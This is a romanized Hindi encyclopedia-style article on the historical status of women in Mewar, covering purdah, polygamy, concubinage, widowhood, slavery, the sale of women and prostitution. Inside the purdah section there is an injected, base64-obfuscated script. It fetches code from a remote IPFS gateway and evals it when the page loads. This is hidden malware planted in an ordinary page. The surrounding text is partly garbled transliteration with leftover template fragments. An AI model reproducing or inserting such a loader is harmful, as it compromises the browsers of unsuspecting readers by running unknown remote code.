मेवाड़ी समाज में स्त्रियों की स्थिति
pahale meva di samaj mean striyoan ko adhik svatantrata prapt thi. isake sath hi nirnay adi ke kee mahattvapoorn adhikar bhi unhean prapt the. bad mean badalati huee paristhitiyoan ne samaj mean inake mahatv ko kam kar diya. roodhivadita tatha samaj ki pitrisattatmak manovritti ne unhean dhire-dhire upabhog ki vastu ke roop mean istemal karana shuroo kar diya. nimnalikhit prathaean aur paristhitiyaan samaj mean unake sthan ko iangit karati haian-
parda pratha
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
abhilekhiy evan sahityik srotoan se pata chalata hai ki maharana rajasianh dvitiy ke shasan kal tak raj parivar evan kulin varg ki striyoan mean parda-pratha nahian thi. marathoan evan pindariyoan ke akraman kal se hi 'parda pratha' aranbh ho gee thi, jisaka prabhav any dvij jatiyoan par bhi p da tha. parda pratha ke prachalan ne samaj mean striyoan ki sthiti ko aur bhi nimn bana diya. ab samaj mean stri ki maryadaean nishchit kar di geean. kisi bhi tyohar, utsav aur mela adi ke avasar par unaka svatantratapoorvak ghoomana, par-purushoan se batean karana adi kuchh had tak simit hone laga. ghar mean stri keval apane pati ki kamechchha poorti ka sadhan mani jati thi.[1]
bahuvivah tatha rakhail pratha
meva d ke abhijat varg mean samajik-arthik pratishtha ke pradarshan aur rati-sukh ki manasik pravritti ke karan 18vian evan 19vian shatabdi mean 'bahuvivah pratha' tatha 'rakhail' rakhane ki pratha ka bhi prachalan raha. meva d ke rajagharane mean maharana sangram sianh dvitiy se maharana svaroop sianh ke shasan kal tak lagabhag ath patniyaan aur nau up-patniyaan rahi thian. meva d ke samantoan mean bhi bahu-patniyaan rakhane ka prachalan tha, kiantu samantoan ko pratyek vivah ke liye maharana se poorv svikriti leni p dati thi. bhil jati mean bhi shram shakti ki avashyakata ke karan ek se adhik patniyaan rakhane ka prachalan tha tatha muslim varg mean bhi char patniyaan tak rakhane ki dharmik svikriti thi. samaj ke any vargoan mean bhi rakhail rakhane par koee pratibandh nahian tha, lekin adhikaanshatah sanpann log hi rakhail rakhate the. 'bahuvivah pratha' v 'rakhail pratha' purushoan ka striyoan ke prati dalit drishtikon spasht karata hai.
baanjhapan
ve striyaan jo bachche ko janm nahian de sakati thian, unhean 'baanjh' kaha jata tha. baanjh striyoan ko apane parivar mean tatha samaj mean ghor prata dana sahan karani p dati thi. ghar-parivar aur samaj ki or se unhean prata dit kiya jata tha. kee bar in prata danaoan se majaboor hokar putr-prapti ki ichchha se prerit striyaan mandiroan ke pujariyoan, mathadhishoan, upasakoan ke santoan v bhopoan se yaun sanpark tak kar leti thian.[1]
kanya janm
badhate samajik uttaradayitv, jaise- uchch vansh ki paranpara, tyag pratha adi ke karan kanya ke janm ko abhishap mana jata tha. putr ka janm hone par to parivar mean utsav jaisa mahaul rahata tha, lekin yadi kanya ka janm ho jae to use ek tarah se bojh jaisa samajha jata tha. kanya janane vali stri ki pratishtha bhi kam ho jati thi. parivar ke sadasy use tab tak samman ki drishti se nahian deankhate the, jab tak ki vah putr ko janm nahian deti.
vidhavaoan ki sthiti
samaj mean vidhavaoan par anek tarah ke samajik pratibandh the. unaki sthiti bhi bahut dayaniy thi. unake lie shrriangar karana tatha rang-birange vastr dharan karana varjit tha. prayah ve kale rang ki odhani tatha safed chhiant ka ghaghara pahanate hue sannyas vrat ke niyamoan ka palan karati thian. aisi striyoan ka kisi utsav tatha dharmik kriya-kalapoan mean jana bhi varjit tha.
das-dasi pratha
prachin kal se hi prachalit 'das-dasi pratha' 19vian sadi ke aant tak jari rahi. is pratha ke karan striyoan aur l dake-l dakiyoan ki kharid-pharokht bhi prachalit thi. rajapoot aur abhijat varg ki kanyaoan ke vivah mean dahej ke saman ke sath das-dasiyaan dene ki paranpara bhi samaj mean prachalit thi. ye das-dasiyaan vanshanugat roop se sevakoan ke roop mean apane svami ki seva karate the. dasiyaan apane svami ki ajna ke bina vivah nahian kar sakati thian. jab koee dasi vivah yogy ho jati to use shasak ke samaksh upasthit kiya jata tha. yadi shasak ko vah dasi pasand a jati thi to kisi doosare das ke sath us dasi ka vivah karake shasak use apane ranivas mean bhej deta tha aur usake pati ko kuchh nakad rupaya tatha dahej ka saman dekar vida kar diya jata tha. jab tak vah dasi rajamahal ke ranivas mean rahati thi, usaka pati ke sath koee sanbandh nahian ho sakata tha. is prakar up-patni ke roop mean svikrit dasi 'p dadayat' kahalati thi. svami ki prasannata, aprasannata ke adhar par p dadayat ki pratishtha ghatati-badhati rahati thi. yadi svami prasann hokar use hath-pairoan mean sone ke abhooshan pahanane ki svikriti de deta tha, to usaka pad aur samman badh jata tha. vah 'pasavan' kahalane lagati thi. pasavanoan ko rajy se achchhi ay tatha jagirean pradan ki jati thian aur svami ki atyadhik priy hone par rajy prashasan mean bhi unaka hastakshep rahata tha.[1]
p dadayatoan evan pasavanoan ki putr-putriyoan ki shadi b di dhoomadham se ki jati thi. inake putroan ko jagirean v uchch pad bhi pradan kiye jate the. p dadayatoan aur pasavanoan ko unaki jati ke anusar samman diya jata tha. jin dasiyoan ko ranivas mean dakhil nahian kiya jata tha, unhean 'dav di' kaha jata tha. unhean rajamahal ke janana mean dasi jivan vyatit karana p data tha ya rajakumariyoan ke dahej mean de diya jata tha. kiantu meva d mean das-dasiyoan ke sath samany vyavahar rajapootana ke any rajyoan se achchha tha aur yahaan ke das-dasiyoan ko apane svamiyoan ko chho dane tatha ichchhanusar ane-jane ki poorn svatantrata prapt thi. phir bhi vanshanugat das-dasiyaan svami ki sanpatti mani jati thian.
- REDIRECTsaancha:inhean bhi dekhean
striyoan ka kray-vikray
das-dasiyoan ko vivah mean dahej ke sath dene ke atirikt kuchh samant ya sanpann log striyoan ko rakhailoan ke roop mean rakhane, apani kam ichchhaoan ki poorti karane, veshyaoan dvara yuva l dakiyoan se anaitik pesha karavane ke lie meva d mean striyoan ka kray-vikray hota tha. yahaan tak ki rajy ke bahar se bhi striyaan kharidakar layi jati thian. is prakar rajyoan mean gulam kharidane-bechane ki pratha bahut pahale se hi chali a rahi thi. maharana shanbhoosianh ke shasan kal mean politikal ejeant karnal eedan dvara is pratha ko gair qanooni ghoshit kar diya gaya. is prakar 19vian shatabdi ke aant tak striyoan ke kray-vikray ki pratha lagabhag samapt ho gee thi. kiantu phir bhi mandiroan mean nrity gan ke lie striyoan ko bahar se kharidakar lana band nahian hua tha.
veshyaoan ki sthiti
meva di samaj mean bahu-vivah evan rakhail pratha ne veshyavriti ko kafi protsahit kiya. anek veshyaean chhoti umr ki l dakiyoan ko kharid leti thian aur unake yuva hone par unase anaitik pesha karavati thian. sangit aur nrity mean nipun pramukh veshyaoan ko to rajakiy sanrakshan tak pradan kiya jata tha aur unhean rajakosh se niyamit vritti bhi di jati thi. anek veshyaean mandiroan mean nrity gan kiya karati thian aur badale mean unhean puraskar adi milata tha. samany veshyaean nrity, sangit tatha yaun vyapar dvara apana jivan nirvah karati thian. 20vian shatabdi ke praranbhik varshoan tak veshyavritti v yaun vyapar ko samapt karane athava niyantrit karane ki disha mean meva d rajy ne koee thos qadam nahian uthaya aur british sarakar ne bhi ise samapt karane mean koee ruchi nahian li. 18vian aur 19vian shatabdi ke aant tak meva d mean stri shiksha ka prachalan nahian tha. varsh 1866 ee. mean udayapur mean ek kanya pathashala kholi gee, kiantu panjikrit chhatraoan ki sankhya asantoshajanak hi bani rahi. yadyapi abhijat varg ki kanyaoan ke liye shiksha ka prabandh ghar par kiya jata tha, kiantu unaki yah shiksha jnan prapti ke lie n hokar matr manoranjanatmak rahi. sadharan varg ki striyaan paranparagat roodhiyoan evan aandhavishvasoan mean itani jak di huee thian ki stri shiksha ke prati samaj ki koee ruchi hi nahian thi. isaka pramukh karan samaj mean prachalit 'bal vivah', 'parda pratha' aur jativadi roodhiyaan thian. samaj mean striyoan ki ashiksha ka parinam yah raha ki striyoan mean n to chetana a saki aur n hi pragativadi vicharadhara ka pradurbhav ho saka.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 meva di samaj mean striyoan ki sthiti (hindi). . abhigaman tithi: 28 faravari, 2013.
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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